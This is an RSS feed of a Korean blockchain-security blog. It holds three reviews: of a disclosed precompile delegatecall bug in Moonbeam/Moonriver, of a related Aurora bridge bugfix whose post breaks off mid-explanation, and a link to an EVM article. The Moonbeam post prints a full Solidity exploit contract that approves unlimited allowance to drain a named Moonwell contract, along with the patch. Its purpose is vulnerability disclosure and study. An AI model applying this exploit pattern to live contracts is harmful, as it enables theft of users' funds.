<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>mcdoodle_blockchain</title>
    <link>https://timmy-blockchain.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sun, 10 May 2026 12:23:03 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>mcdood1e</managingEditor>
    <image>
      <title>mcdoodle_blockchain</title>
      <url>https://tistory1.daumcdn.net/tistory/5435106/attach/c4bfbe93ee7d4918b4ef84450831fda4</url>
      <link>https://timmy-blockchain.tistory.com</link>
    </image>
    <item>
      <title>Ethereum Virtual Machine</title>
      <link>https://timmy-blockchain.tistory.com/6</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;참고사이트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?utm_source=url&amp;amp;s=r&quot;&gt;https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?utm_source=url&amp;amp;s=r&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1657124858291&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;EVM Deep Dives: The Path to Shadowy Super Coder     - Part 1&quot; data-og-description=&quot;Digging deep into the EVM mechanics during contract function calls&quot; data-og-host=&quot;noxx.substack.com&quot; data-og-source-url=&quot;https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?utm_source=url&amp;amp;s=r&quot; data-og-url=&quot;https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/pWstr/hyOZC320B7/VJAEaCr4kl93AZxt7QxE0K/img.jpg?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bmjjsZ/hyOZK16saM/g2u7i2JDIauixxHfx0M0K0/img.jpg?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/ccHAIw/hyOZI4eg4a/D2ApHUKWk8ALIJob0LAh0k/img.png?width=1456&amp;amp;height=604&amp;amp;face=0_0_1456_604&quot;&gt;&lt;a href=&quot;https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?utm_source=url&amp;amp;s=r&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?utm_source=url&amp;amp;s=r&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/pWstr/hyOZC320B7/VJAEaCr4kl93AZxt7QxE0K/img.jpg?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bmjjsZ/hyOZK16saM/g2u7i2JDIauixxHfx0M0K0/img.jpg?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/ccHAIw/hyOZI4eg4a/D2ApHUKWk8ALIJob0LAh0k/img.png?width=1456&amp;amp;height=604&amp;amp;face=0_0_1456_604');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;EVM Deep Dives: The Path to Shadowy Super Coder     - Part 1&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Digging deep into the EVM mechanics during contract function calls&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;noxx.substack.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단한 evm 구조에 대해서 알 수 있다.&lt;/p&gt;</description>
      <category>etc</category>
      <author>mcdood1e</author>
      <guid isPermaLink="true">https://timmy-blockchain.tistory.com/6</guid>
      <comments>https://timmy-blockchain.tistory.com/6#entry6comment</comments>
      <pubDate>Thu, 7 Jul 2022 01:27:40 +0900</pubDate>
    </item>
    <item>
      <title>Precompile contract delegatecall Vulnerability</title>
      <link>https://timmy-blockchain.tistory.com/5</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://timmy-blockchain.tistory.com/3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2022.07.03 - [vulnerability analysis] - Aurora Inflation Spend Bugfix Review&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1656947990283&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Aurora Inflation Spend Bugfix Review&quot; data-og-description=&quot;업데이트 시기 : 2022. 04. 27 취약점 신고자 : pwning.eth 취약점 요약 : Aurora의 Bridge 쪽에서 발견된 취약점으로, Bridge가 가지고 있는 자산을 무한으로 인출 가능한 취약점임. 취약점 분석 etc/eth-contra..&quot; data-og-host=&quot;timmy-blockchain.tistory.com&quot; data-og-source-url=&quot;https://timmy-blockchain.tistory.com/3&quot; data-og-url=&quot;https://timmy-blockchain.tistory.com/3&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/eEOvN/hyOZzR7U1A/RlVK46lkNBwcXjYyVtSAQk/img.jpg?width=310&amp;amp;height=163&amp;amp;face=0_0_310_163,https://scrap.kakaocdn.net/dn/I0u2j/hyOYqJeOo1/dwtOwx4epcUdCrIHBsKHFK/img.jpg?width=310&amp;amp;height=163&amp;amp;face=0_0_310_163,https://scrap.kakaocdn.net/dn/R85kq/hyOYqCtGVY/Ic73hhbDKbgDpIk4KzgBxK/img.png?width=750&amp;amp;height=421&amp;amp;face=0_0_750_421&quot;&gt;&lt;a href=&quot;https://timmy-blockchain.tistory.com/3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://timmy-blockchain.tistory.com/3&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/eEOvN/hyOZzR7U1A/RlVK46lkNBwcXjYyVtSAQk/img.jpg?width=310&amp;amp;height=163&amp;amp;face=0_0_310_163,https://scrap.kakaocdn.net/dn/I0u2j/hyOYqJeOo1/dwtOwx4epcUdCrIHBsKHFK/img.jpg?width=310&amp;amp;height=163&amp;amp;face=0_0_310_163,https://scrap.kakaocdn.net/dn/R85kq/hyOYqCtGVY/Ic73hhbDKbgDpIk4KzgBxK/img.png?width=750&amp;amp;height=421&amp;amp;face=0_0_750_421');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Aurora Inflation Spend Bugfix Review&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;업데이트 시기 : 2022. 04. 27 취약점 신고자 : pwning.eth 취약점 요약 : Aurora의 Bridge 쪽에서 발견된 취약점으로, Bridge가 가지고 있는 자산을 무한으로 인출 가능한 취약점임. 취약점 분석 etc/eth-contra..&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;timmy-blockchain.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 글을 안 읽었다면, 읽고 오는 걸 추천합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 글에서는 Aurora Bufix 내용에 대해서 살펴보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 내용을 간단히 요약하면 precompile된 contract에서 delegatecall에 대한 처리를 하지 않아 생긴 취약점이라고 할 수 있다. 취약점을 발견한 pwning.eth는 해당 취약점이 적용되는 다른 프로젝트들을 찾아보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 Moonriver, Moonbeam에서 발견되었으며, 이는 Aurora에서 발견된 취약점과 매우 유사하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 balances-erc20, assets-erc20&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;moonbeam/precompiles/balances-erc20/src/lib.rs&lt;/p&gt;
&lt;pre id=&quot;code_1656950469145&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	fn approve(handle: &amp;amp;mut impl PrecompileHandle) -&amp;gt; EvmResult&amp;lt;PrecompileOutput&amp;gt; {
		handle.record_cost(RuntimeHelper::&amp;lt;Runtime&amp;gt;::db_write_gas_cost())?;
		handle.record_log_costs_manual(3, 32)?;

		// Parse input.
		let mut input = handle.read_input()?;
		input.expect_arguments(2)?;

		let spender: H160 = input.read::&amp;lt;Address&amp;gt;()?.into();
		let amount: U256 = input.read()?;

		// Write into storage.
		{
			let caller: Runtime::AccountId =
				Runtime::AddressMapping::into_account_id(handle.context().caller);
			let spender: Runtime::AccountId = Runtime::AddressMapping::into_account_id(spender);
			// Amount saturate if too high.
			let amount = Self::u256_to_amount(amount).unwrap_or_else(|_| Bounded::max_value());

			ApprovesStorage::&amp;lt;Runtime, Instance&amp;gt;::insert(caller, spender, amount);
		}

		log3(
			handle.context().address,
			SELECTOR_LOG_APPROVAL,
			handle.context().caller,
			spender,
			EvmDataWriter::new().write(amount).build(),
		)
		.record(handle)?;

		// Build output.
		Ok(succeed(EvmDataWriter::new().write(true).build()))
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별도의 delegatecall에 대한 재제가 없었기 때문에 aurora때 있었던 취약점이 그대로 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드의 erc20은 moonbeam의 기본 토큰으로 사용되기 때문에 moonbeam 환경의 모든 지갑에 대해서 취약점이 존재한다. 해당 precompile contract의 주소는 0x0000000000000000000000000000000000000802이고, 토큰의 이름은 MOVR이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점으로는 직접적인 공격을 하기보다는 phising contract를 만들어 피해자가 이에 airdrop 등으로 접근하도록 하거나, 많은 자산을 가지고 있는 Contract의 또다른 취약점을 통해 그 Contract의 자산을 빼앗을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후자의 경우를 통해서 이 취약점을 트리거 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Moonwell project의 Mglimmer 컨트랙트(0x6a1A771C7826596652daDC9145fEAaE62b1cd07f)에 취약점이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 project는 (&lt;a href=&quot;https://github.com/moonwell-open-source/moonwell-contracts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/moonwell-open-source/moonwell-contracts&lt;/a&gt;)에서 확인 가능하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 컨트랙트의 자산 크기는 약 400만달러 정도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mglimmer 컨트랙트에서 redeemUnderlying 함수를 호출하면,&amp;nbsp; doTransferOut 함수를 호출하게 되는데 이 때 argument의 to에 로 msg.sender가 들어가게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1656954555456&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function doTransferOut(address payable to, uint amount) internal {
        /* Send the Glimmer, with minimal gas and revert on failure */
        (bool success, ) = to.call.value(amount)(&quot;&quot;);
        require(success, &quot;Transfer failed&quot;);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;doTransferOut에서 to 주소에 콜하기 때문에 to 주소 즉 msg.sender 컨트랙트의 receive 함수를 잘 만든다면 앞서 발견한 취약점을 트리거 할 수 있게 된다. pwning.eth는 공격 Contract를 다음과 같이 작성했다.&lt;/p&gt;
&lt;pre id=&quot;code_1656955085152&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pragma solidity &amp;gt;=0.8.0;

    interface MGlimmer {
        function redeemUnderlying(uint redeemAmount) external returns (uint);
    }

    contract GlimmerExploit {
        address beneficiary;

        constructor() {}

        receive() payable external {
            if (msg.value == 0) {
                address asset = 0x0000000000000000000000000000000000000802;
                (bool success, ) = asset.delegatecall(
                abi.encodeWithSignature(&quot;approve(address,uint256)&quot;, beneficiary, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff));
                require(success, &quot;approve&quot;);
            }
        }

        function exploit(address mglimmer) external {
            beneficiary = msg.sender;
            MGlimmer(mglimmer).redeemUnderlying(0);
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 공격을 수행하면 MGlimmer 컨트랙트에 있는 모든 자산이 공격자의 Contract에 approve되기 때문에 사실상 모든 자산을 빼앗았다고 보아도 무방하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점은 Aurora가 수정했던 것과 유사하게 engine 자체에서 delegatecall로 호출되는 것을 금지했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;precompiles/utils/src/precompileset.rs&lt;/p&gt;
&lt;pre id=&quot;code_1656956194641&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    impl&amp;lt;P: StatefulPrecompile, S: PrecompileSet&amp;gt; PrecompileSet for ChainedPrecompile&amp;lt;P, S&amp;gt; {
        #[inline]
        fn execute(&amp;amp;self, handle: &amp;amp;mut impl PrecompileHandle) -&amp;gt; Option&amp;lt;PrecompileResult&amp;gt; {
            // Move forward the chain if this is not the correct address.
            if handle.code_address() != self.address {
                return self.chain.execute(handle);
            }

            // Check DELEGATECALL
            if !self.allow_delegate &amp;amp;&amp;amp; handle.code_address() != handle.context().address {
                return Some(Err(revert(
                    &quot;cannot be called with DELEGATECALL or CALLCODE&quot;,
                )));
            }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;위의 함수에서 Check Delegatecall 조건문을 추가해 아예 delegatecall에 대한 접근을 차단했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE&lt;/a&gt;&lt;/p&gt;</description>
      <category>vulnerability analysis</category>
      <category>Blockchain</category>
      <category>DEFI</category>
      <category>Defi security</category>
      <category>Defi Vulnerability</category>
      <category>Delegatecall</category>
      <author>mcdood1e</author>
      <guid isPermaLink="true">https://timmy-blockchain.tistory.com/5</guid>
      <comments>https://timmy-blockchain.tistory.com/5#entry5comment</comments>
      <pubDate>Tue, 5 Jul 2022 02:39:39 +0900</pubDate>
    </item>
    <item>
      <title>Aurora Inflation Spend Bugfix Review</title>
      <link>https://timmy-blockchain.tistory.com/3</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;310&quot; data-origin-height=&quot;163&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PGGB8/btrGhwSJdaE/o1yKbk9DUPsfmFjLLyOaO0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PGGB8/btrGhwSJdaE/o1yKbk9DUPsfmFjLLyOaO0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PGGB8/btrGhwSJdaE/o1yKbk9DUPsfmFjLLyOaO0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPGGB8%2FbtrGhwSJdaE%2Fo1yKbk9DUPsfmFjLLyOaO0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;310&quot; height=&quot;163&quot; data-origin-width=&quot;310&quot; data-origin-height=&quot;163&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업데이트 시기 : 2022. 04. 27&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 신고자 : pwning.eth&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 요약 : Aurora의 Bridge 쪽에서 발견된 취약점으로, Bridge가 가지고 있는 자산을 무한으로 인출 가능한 취약점임.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점 분석&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;etc/eth-contracts/contracts/test/Tester.sol&lt;/p&gt;
&lt;pre id=&quot;code_1656776295662&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function withdrawEthToNear(bytes memory recipient) external payable {
        bytes memory input = abi.encodePacked(&quot;\x00&quot;, recipient);
        uint input_size = 1 + recipient.length;
        uint256 amount = msg.value;

        assembly {
            let res := call(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, amount, add(input, 32), input_size, 0, 32)
        }
    }

    function withdrawEthToEthereum(address recipient) external payable {
        bytes20 recipient_b = bytes20(recipient);
        bytes memory input = abi.encodePacked(&quot;\x00&quot;, recipient_b);
        uint input_size = 1 + 20;
        uint256 amount = msg.value;

        assembly {
            let res := call(gas(), 0xb0bd02f6a392af548bdf1cfaee5dfa0eefcc8eab, amount, add(input, 32), input_size, 0, 32)
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 aurora에서 자체적으로 만든 테스트 코드이다. 두 함수는 각각 브릿지에 Eth를 보내면 이를 반환해주는 함수다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 함수는 공통적인 취약점을 가지고 있으므로, withdrawEthToNear 함수만 봐도 무방하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;withdrawEthToNear는 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f 주소를 호출하고 있으며, 해당 주소는 aurora 자체 개발 엔진인 engine-precompiles/src/native.rs에서 확인 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;engine-precompiles/src/native.rs&lt;/p&gt;
&lt;pre id=&quot;code_1656835253639&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from(&quot;ERR_INVALID_IN_STATIC&quot;)));
        }
	let flag = input[0];
        #[cfg(feature = &quot;error_refund&quot;)]
        let (refund_address, mut input) = parse_input(input);
        #[cfg(not(feature = &quot;error_refund&quot;))]
        let mut input = parse_input(input);
        let current_account_id = self.current_account_id.clone();
        #[cfg(feature = &quot;error_refund&quot;)]
        let refund_on_error_target = current_account_id.clone();

        let (nep141_address, args, exit_event) = match flag {
            0x0 =&amp;gt; {
                // ETH transfer
                //
                // Input slice format:
                //      recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 ETH tokens

                if let Ok(dest_account) = AccountId::try_from(input) {
                    (
                        current_account_id,
                        // There is no way to inject json, given the encoding of both arguments
                        // as decimal and valid account id respectively.
                        format!(
                            r#&quot;{{&quot;receiver_id&quot;: &quot;{}&quot;, &quot;amount&quot;: &quot;{}&quot;, &quot;memo&quot;: null}}&quot;#,
                            dest_account,
                            context.apparent_value.as_u128()
                        ),
                        events::ExitToNear {
                            sender: Address::new(context.caller),
                            erc20_address: events::ETH_ADDRESS,
                            dest: dest_account.to_string(),
                            amount: context.apparent_value,
                        },
                    )
                } else {
                    return Err(ExitError::Other(Cow::from(
                        &quot;ERR_INVALID_RECEIVER_ACCOUNT_ID&quot;,
                    )));
                }
            }
            0x1 =&amp;gt; {
                // ERC20 transfer
                //
                // This precompile branch is expected to be called from the ERC20 burn function\
                //
                // Input slice format:
                //      amount (U256 big-endian bytes) - the amount that was burned
                //      recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 tokens

                if context.apparent_value != U256::from(0) {
                    return Err(ExitError::Other(Cow::from(
                        &quot;ERR_ETH_ATTACHED_FOR_ERC20_EXIT&quot;,
                    )));
                }

                let erc20_address = context.caller;
                let nep141_address = get_nep141_from_erc20(erc20_address.as_bytes());

                let amount = U256::from_big_endian(&amp;amp;input[..32]);
                input = &amp;amp;input[32..];

                if let Ok(receiver_account_id) = AccountId::try_from(input) {
                    (
                        nep141_address,
                        // There is no way to inject json, given the encoding of both arguments
                        // as decimal and valid account id respectively.
                        format!(
                            r#&quot;{{&quot;receiver_id&quot;: &quot;{}&quot;, &quot;amount&quot;: &quot;{}&quot;, &quot;memo&quot;: null}}&quot;#,
                            receiver_account_id,
                            amount.as_u128()
                        ),
                        events::ExitToNear {
                            sender: Address::new(erc20_address),
                            erc20_address: Address::new(erc20_address),
                            dest: receiver_account_id.to_string(),
                            amount,
                        },
                    )
                } else {
                    return Err(ExitError::Other(Cow::from(
                        &quot;ERR_INVALID_RECEIVER_ACCOUNT_ID&quot;,
                    )));
                }
            }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 native.rs에서 &lt;span&gt;0xe9217bc70b7ed1f598ddd3199e80b093fa71124f가 호출되는 중요한 부분만을 자른 코드이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;input의 첫번째 인자로 flag를 받아 erc20을 받는지 Eth를 받는지 구분하고 있다.&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;flag=0인 경우에는 Eth를 받는 경우이며, 위의 context.apparent_value는 msg.value를 의미하고, dest_account는 input을 파싱하여 얻은 주소값을 가리키고 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;그렇게 각 값을 얻은 다음 이를 ExitToNear 이벤트 struct로 저장해 exit_event에 로그로 저장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이렇게 로그로 저장된 값들은 engine/src/engine.rs 코드 내에서 스케줄러에 올라가게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;engine/src/engine.rs&lt;/p&gt;
&lt;pre id=&quot;code_1656835736423&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    fn filter_promises_from_logs&amp;lt;T, P&amp;gt;(handler: &amp;amp;mut P, logs: T) -&amp;gt; Vec&amp;lt;ResultLog&amp;gt;
    where
        T: IntoIterator&amp;lt;Item = Log&amp;gt;,
        P: PromiseHandler,
    {
        logs.into_iter()
            .filter_map(|log| {
                if log.address == exit_to_near::ADDRESS.raw()
                    || log.address == exit_to_ethereum::ADDRESS.raw()
                {
                    if log.topics.is_empty() {
                        if let Ok(promise) = PromiseArgs::try_from_slice(&amp;amp;log.data) {
                            match promise {
                                PromiseArgs::Create(promise) =&amp;gt; schedule_promise(handler, &amp;amp;promise),
                                PromiseArgs::Callback(promise) =&amp;gt; {
                                    let base_id = schedule_promise(handler, &amp;amp;promise.base);
                                    schedule_promise_callback(handler, base_id, &amp;amp;promise.callback)
                                }
                            };
                        }
                        // do not pass on these &quot;internal logs&quot; to caller
                        None
                    } else {
                        // The exit precompiles do produce externally consumable logs in
                        // addition to the promises. The external logs have a non-empty
                        // `topics` field.
                        Some(log.into())
                    }
                } else {
                    Some(log.into())
                }
            })
            .collect()
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exit_to_near 주소에서 올라간 로그들은 스케줄러 promise로 올라가게 됨을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 위에 올린 native.rs 코드에서 발견된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드의 첫부분을 보게 되면 staticcall을 금지하는 코드가 있음을 확인할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1656835931951&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from(&quot;ERR_INVALID_IN_STATIC&quot;)));
        }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 코드에서는 주소로 들어오는 호출이 staticcall일 경우 에러를 반환하도록 하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 delegatecall에 대해서는 별도의 조건이 없고 해당 호출을 허용하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delegatecall을 사용하는 경우를 살펴보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;580&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8FZBm/btrGkeJ906v/hTZrzCAzrNTOyLYzlZ6Iyk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8FZBm/btrGkeJ906v/hTZrzCAzrNTOyLYzlZ6Iyk/img.jpg&quot; data-alt=&quot;출처 : https://eun97.tistory.com/entry/Solidity-call-delegateCall&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8FZBm/btrGkeJ906v/hTZrzCAzrNTOyLYzlZ6Iyk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8FZBm%2FbtrGkeJ906v%2FhTZrzCAzrNTOyLYzlZ6Iyk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;346&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;580&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 : https://eun97.tistory.com/entry/Solidity-call-delegateCall&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delegatecall로 Contract A에서 Contract B를 호출하는 경우 msg.sender와 msg.value가 Contract A 호출시와 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 사용하는 Storage는 Contract A가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
